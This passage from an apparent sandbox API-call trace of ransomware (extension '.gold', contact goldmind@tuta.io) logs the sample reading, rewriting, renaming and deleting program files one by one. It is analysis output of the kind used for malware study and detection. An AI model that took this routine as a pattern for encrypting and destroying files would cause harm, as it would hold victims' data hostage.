Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0046.336] lstrlenW (lpString=".zip") returned 4 [0046.336] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.336] lstrlenW (lpString=".rar") returned 4 [0046.336] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.336] lstrlenW (lpString=".bz2") returned 4 [0046.336] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.336] lstrlenW (lpString=".7z") returned 3 [0046.336] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0046.336] lstrlenW (lpString=".dbf") returned 4 [0046.336] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0046.336] lstrlenW (lpString=".1cd") returned 4 [0046.336] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0046.336] lstrlenW (lpString=".jpg") returned 4 [0046.336] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0046.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0046.337] lstrlenW (lpString=".doc") returned 4 [0046.337] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.337] lstrlenW (lpString=".docx") returned 5 [0046.337] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0046.337] lstrlenW (lpString=".pdf") returned 4 [0046.337] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.337] lstrlenW (lpString=".xls") returned 4 [0046.337] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.337] lstrlenW (lpString=".xlsx") returned 5 [0046.337] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0046.337] lstrlenW (lpString=".ppt") returned 4 [0046.337] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0046.337] lstrlenW (lpString=".zip") returned 4 [0046.337] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.337] lstrlenW (lpString=".rar") returned 4 [0046.337] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.337] lstrlenW (lpString=".bz2") returned 4 [0046.337] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.337] lstrlenW (lpString=".7z") returned 3 [0046.337] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0046.337] lstrlenW (lpString=".dbf") returned 4 [0046.337] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0046.337] lstrlenW (lpString=".1cd") returned 4 [0046.337] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0046.337] lstrlenW (lpString=".jpg") returned 4 [0046.337] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.337] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0046.337] lstrlenW (lpString="flashfxp.exe") returned 12 [0046.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\flashfxp.exe" (normalized: "c:\\program files\\common files\\flashfxp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.337] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=80384) returned 1 [0046.337] CloseHandle (hObject=0x214) returned 1 [0046.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\flashfxp.exe" (normalized: "c:\\program files\\common files\\flashfxp.exe")) returned 0x20 [0046.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\flashfxp.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\flashfxp.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\flashfxp.exe" (normalized: "c:\\program files\\common files\\flashfxp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\flashfxp.exe") returned 42 [0046.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\flashfxp.exe") returned 42 [0046.338] lstrlenW (lpString=".doc") returned 4 [0046.338] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.338] lstrlenW (lpString=".docx") returned 5 [0046.338] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0046.338] lstrlenW (lpString=".pdf") returned 4 [0046.338] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.338] lstrlenW (lpString=".xls") returned 4 [0046.338] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.338] lstrlenW (lpString=".xlsx") returned 5 [0046.338] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0046.338] lstrlenW (lpString=".ppt") returned 4 [0046.338] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\flashfxp.exe") returned 42 [0046.338] lstrlenW (lpString=".zip") returned 4 [0046.338] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.338] lstrlenW (lpString=".rar") returned 4 [0046.338] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.338] lstrlenW (lpString=".bz2") returned 4 [0046.338] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.338] lstrlenW (lpString=".7z") returned 3 [0046.338] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\flashfxp.exe") returned 42 [0046.338] lstrlenW (lpString=".dbf") returned 4 [0046.338] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\flashfxp.exe") returned 42 [0046.338] lstrlenW (lpString=".1cd") returned 4 [0046.339] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\flashfxp.exe") returned 42 [0046.339] lstrlenW (lpString=".jpg") returned 4 [0046.339] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\flashfxp.exe") returned 42 [0046.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\flashfxp.exe") returned 42 [0046.339] lstrlenW (lpString=".doc") returned 4 [0046.339] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.339] lstrlenW (lpString=".docx") returned 5 [0046.339] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0046.339] lstrlenW (lpString=".pdf") returned 4 [0046.339] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.339] lstrlenW (lpString=".xls") returned 4 [0046.339] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.339] lstrlenW (lpString=".xlsx") returned 5 [0046.339] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0046.339] lstrlenW (lpString=".ppt") returned 4 [0046.339] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\flashfxp.exe") returned 42 [0046.339] lstrlenW (lpString=".zip") returned 4 [0046.339] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.339] lstrlenW (lpString=".rar") returned 4 [0046.339] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.339] lstrlenW (lpString=".bz2") returned 4 [0046.339] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.339] lstrlenW (lpString=".7z") returned 3 [0046.339] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\flashfxp.exe") returned 42 [0046.339] lstrlenW (lpString=".dbf") returned 4 [0046.339] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\flashfxp.exe") returned 42 [0046.339] lstrlenW (lpString=".1cd") returned 4 [0046.339] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\flashfxp.exe") returned 42 [0046.339] lstrlenW (lpString=".jpg") returned 4 [0046.339] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.339] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0046.339] lstrlenW (lpString="leechftp.exe") returned 12 [0046.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.339] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=80384) returned 1 [0046.339] CloseHandle (hObject=0x214) returned 1 [0046.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe")) returned 0x20 [0046.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\leechftp.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42 [0046.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42 [0046.340] lstrlenW (lpString=".doc") returned 4 [0046.340] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.340] lstrlenW (lpString=".docx") returned 5 [0046.340] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0046.340] lstrlenW (lpString=".pdf") returned 4 [0046.340] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.340] lstrlenW (lpString=".xls") returned 4 [0046.340] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.340] lstrlenW (lpString=".xlsx") returned 5 [0046.340] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0046.340] lstrlenW (lpString=".ppt") returned 4 [0046.340] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42 [0046.340] lstrlenW (lpString=".zip") returned 4 [0046.340] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.340] lstrlenW (lpString=".rar") returned 4 [0046.340] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.340] lstrlenW (lpString=".bz2") returned 4 [0046.340] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.340] lstrlenW (lpString=".7z") returned 3 [0046.340] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42 [0046.340] lstrlenW (lpString=".dbf") returned 4 [0046.340] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42 [0046.340] lstrlenW (lpString=".1cd") returned 4 [0046.340] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42 [0046.340] lstrlenW (lpString=".jpg") returned 4 [0046.341] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42 [0046.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42 [0046.341] lstrlenW (lpString=".doc") returned 4 [0046.341] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.341] lstrlenW (lpString=".docx") returned 5 [0046.341] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0046.341] lstrlenW (lpString=".pdf") returned 4 [0046.341] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.341] lstrlenW (lpString=".xls") returned 4 [0046.341] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.341] lstrlenW (lpString=".xlsx") returned 5 [0046.341] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0046.341] lstrlenW (lpString=".ppt") returned 4 [0046.341] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42 [0046.341] lstrlenW (lpString=".zip") returned 4 [0046.341] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.341] lstrlenW (lpString=".rar") returned 4 [0046.341] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.341] lstrlenW (lpString=".bz2") returned 4 [0046.341] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.341] lstrlenW (lpString=".7z") returned 3 [0046.341] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42 [0046.341] lstrlenW (lpString=".dbf") returned 4 [0046.341] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42 [0046.341] lstrlenW (lpString=".1cd") returned 4 [0046.341] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42 [0046.341] lstrlenW (lpString=".jpg") returned 4 [0046.341] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.341] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0046.341] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0046.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.342] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1369952) returned 1 [0046.342] CloseHandle (hObject=0x214) returned 1 [0046.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0046.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.342] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.343] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0046.343] GetLastError () returned 0x0 [0046.343] ReadFile (in: hFile=0x214, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0046.364] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0046.377] ReadFile (in: hFile=0x214, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x4e770, lpOverlapped=0x0) returned 1 [0046.566] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x4e780, lpOverlapped=0x0) returned 1 [0046.571] ReadFile (in: hFile=0x214, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.571] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.572] SetEndOfFile (hFile=0x18c) returned 1 [0046.572] CloseHandle (hObject=0x18c) returned 1 [0046.572] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.572] SetEndOfFile (hFile=0x214) returned 1 [0046.574] CloseHandle (hObject=0x214) returned 1 [0046.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.575] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0046.575] lstrlenW (lpString=".doc") returned 4 [0046.575] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0046.575] lstrlenW (lpString=".docx") returned 5 [0046.575] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0046.575] lstrlenW (lpString=".pdf") returned 4 [0046.575] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0046.575] lstrlenW (lpString=".xls") returned 4 [0046.575] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0046.575] lstrlenW (lpString=".xlsx") returned 5 [0046.575] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0046.575] lstrlenW (lpString=".ppt") returned 4 [0046.575] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0046.575] lstrlenW (lpString=".zip") returned 4 [0046.575] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0046.575] lstrlenW (lpString=".rar") returned 4 [0046.575] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0046.575] lstrlenW (lpString=".bz2") returned 4 [0046.575] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0046.575] lstrlenW (lpString=".7z") returned 3 [0046.575] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0046.575] lstrlenW (lpString=".dbf") returned 4 [0046.575] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0046.575] lstrlenW (lpString=".1cd") returned 4 [0046.575] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0046.575] lstrlenW (lpString=".jpg") returned 4 [0046.575] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0046.575] lstrlenW (lpString=".doc") returned 4 [0046.575] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0046.575] lstrlenW (lpString=".docx") returned 5 [0046.575] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0046.575] lstrlenW (lpString=".pdf") returned 4 [0046.575] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0046.575] lstrlenW (lpString=".xls") returned 4 [0046.576] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0046.576] lstrlenW (lpString=".xlsx") returned 5 [0046.576] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0046.576] lstrlenW (lpString=".ppt") returned 4 [0046.576] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0046.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0046.576] lstrlenW (lpString=".zip") returned 4 [0046.576] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0046.576] lstrlenW (lpString=".rar") returned 4 [0046.576] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0046.576] lstrlenW (lpString=".bz2") returned 4 [0046.576] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0046.576] lstrlenW (lpString=".7z") returned 3 [0046.576] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0046.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0046.576] lstrlenW (lpString=".dbf") returned 4 [0046.576] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0046.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0046.576] lstrlenW (lpString=".1cd") returned 4 [0046.576] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0046.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0046.576] lstrlenW (lpString=".jpg") returned 4 [0046.576] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0046.576] lstrcmpiW (lpString1=".EXE", lpString2=".gold") returned -1 [0046.576] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0046.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.755] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=629664) returned 1 [0046.755] CloseHandle (hObject=0x208) returned 1 [0046.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0046.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.765] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.765] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0046.765] GetLastError () returned 0x0 [0046.765] ReadFile (in: hFile=0x214, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x99ba0, lpOverlapped=0x0) returned 1 [0046.854] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x99bb0, lpOverlapped=0x0) returned 1 [0046.863] ReadFile (in: hFile=0x214, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.863] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.863] SetEndOfFile (hFile=0x18c) returned 1 [0046.863] CloseHandle (hObject=0x18c) returned 1 [0046.863] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.863] SetEndOfFile 